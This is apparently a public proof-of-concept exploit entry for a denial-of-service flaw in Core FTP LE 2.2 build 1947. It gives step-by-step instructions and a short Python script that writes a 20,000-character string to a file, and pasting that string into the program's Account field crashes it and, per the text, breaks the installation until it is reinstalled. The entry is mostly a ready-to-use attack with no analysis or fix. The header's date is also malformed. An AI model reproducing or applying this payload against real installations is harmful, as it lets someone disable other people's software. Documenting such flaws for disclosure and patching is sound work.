# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC)# Date: 2020-25-02# Exploit Author: Ismael Nava# Vendor Homepage: http://www.coreftp.com/# Software Link: http://www.coreftp.com/download.html# Version: 2.2 build 1947# Tested on: Windows 10 Home x64# CVE : n/a#STEPS# Open the program Core FTP LE# In File select the option Connect# Click in the option Advanced from the fiel Host / IP / URL# Run the python exploit script, it will create a new .txt files# Copy the content of the file "Dog.txt"# Paste the content in the field Account# Click in OK# After Core FTP lE closed, the program did not work again if the user try to# open again, so it is necessary uninstall and install again# End :)buffer='R'*20000try:file=open("Dog.txt","w")file.write(buffer)file.close()print("Archive ready")except:print("Archive no ready")